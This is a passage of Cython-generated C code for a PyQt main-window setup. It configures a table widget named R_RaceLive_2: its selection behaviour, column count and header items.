__pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 812, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 812, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 812, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":813 * self.R_RaceLive_2.setFrameShape(QtWidgets.QFrame.NoFrame) * self.R_RaceLive_2.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_RaceLive_2.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setTabKeyNavigation(False) * self.R_RaceLive_2.setProperty("showDropIndicator", False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 813, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setEditTriggers); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 813, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 813, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 813, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_NoEditTriggers); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 813, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 813, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 813, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 813, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 813, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 813, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":814 * self.R_RaceLive_2.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_RaceLive_2.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.R_RaceLive_2.setTabKeyNavigation(False) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setProperty("showDropIndicator", False) * self.R_RaceLive_2.setDragDropOverwriteMode(False) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 814, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setTabKeyNavigation); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 814, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__523, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 814, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":815 * self.R_RaceLive_2.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.R_RaceLive_2.setTabKeyNavigation(False) * self.R_RaceLive_2.setProperty("showDropIndicator", False) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setDragDropOverwriteMode(False) * self.R_RaceLive_2.setAlternatingRowColors(True) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 815, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 815, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__524, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 815, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":816 * self.R_RaceLive_2.setTabKeyNavigation(False) * self.R_RaceLive_2.setProperty("showDropIndicator", False) * self.R_RaceLive_2.setDragDropOverwriteMode(False) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setAlternatingRowColors(True) * self.R_RaceLive_2.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 816, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setDragDropOverwriteMode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 816, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__525, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 816, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":817 * self.R_RaceLive_2.setProperty("showDropIndicator", False) * self.R_RaceLive_2.setDragDropOverwriteMode(False) * self.R_RaceLive_2.setAlternatingRowColors(True) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) * self.R_RaceLive_2.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 817, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setAlternatingRowColors); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 817, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__526, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 817, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":818 * self.R_RaceLive_2.setDragDropOverwriteMode(False) * self.R_RaceLive_2.setAlternatingRowColors(True) * self.R_RaceLive_2.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.R_RaceLive_2.setRowCount(0) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 818, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSelectionMode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 818, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 818, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 818, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_MultiSelection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 818, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 818, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 818, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 818, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 818, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 818, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":819 * self.R_RaceLive_2.setAlternatingRowColors(True) * self.R_RaceLive_2.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) * self.R_RaceLive_2.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setRowCount(0) * self.R_RaceLive_2.setColumnCount(7) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 819, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setSelectionBehavior); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 819, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 819, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QAbstractItemView); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 819, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_SelectItems); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 819, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 819, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 819, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 819, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 819, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_4, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 819, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":820 * self.R_RaceLive_2.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) * self.R_RaceLive_2.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.R_RaceLive_2.setRowCount(0) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setColumnCount(7) * self.R_RaceLive_2.setObjectName("R_RaceLive_2") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 820, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setRowCount); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 820, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__527, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 820, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":821 * self.R_RaceLive_2.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.R_RaceLive_2.setRowCount(0) * self.R_RaceLive_2.setColumnCount(7) # <<<<<<<<<<<<<< * self.R_RaceLive_2.setObjectName("R_RaceLive_2") * item = QtWidgets.QTableWidgetItem() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 821, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setColumnCount); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 821, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__528, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 821, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":822 * self.R_RaceLive_2.setRowCount(0) * self.R_RaceLive_2.setColumnCount(7) * self.R_RaceLive_2.setObjectName("R_RaceLive_2") # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setText("Sorting") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 822, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 822, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__529, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 822, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":823 * self.R_RaceLive_2.setColumnCount(7) * self.R_RaceLive_2.setObjectName("R_RaceLive_2") * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * item.setText("Sorting") * self.R_RaceLive_2.setHorizontalHeaderItem(0, item) */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 823, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 823, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_7) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 823, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 823, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":824 * self.R_RaceLive_2.setObjectName("R_RaceLive_2") * item = QtWidgets.QTableWidgetItem() * item.setText("Sorting") # <<<<<<<<<<<<<< * self.R_RaceLive_2.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 824, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__530, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 824, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":825 * item = QtWidgets.QTableWidgetItem() * item.setText("Sorting") * self.R_RaceLive_2.setHorizontalHeaderItem(0, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignTrailing|QtCore.Qt.AlignVCenter) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 825, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 825, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_int_0, __pyx_v_item}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 825, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_int_0, __pyx_v_item}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 825, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_4); } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 825, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_int_0); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_v_item); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_3, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 825, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Ui_MainWindow.py":826 * item.setText("Sorting") * self.R_RaceLive_2.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * 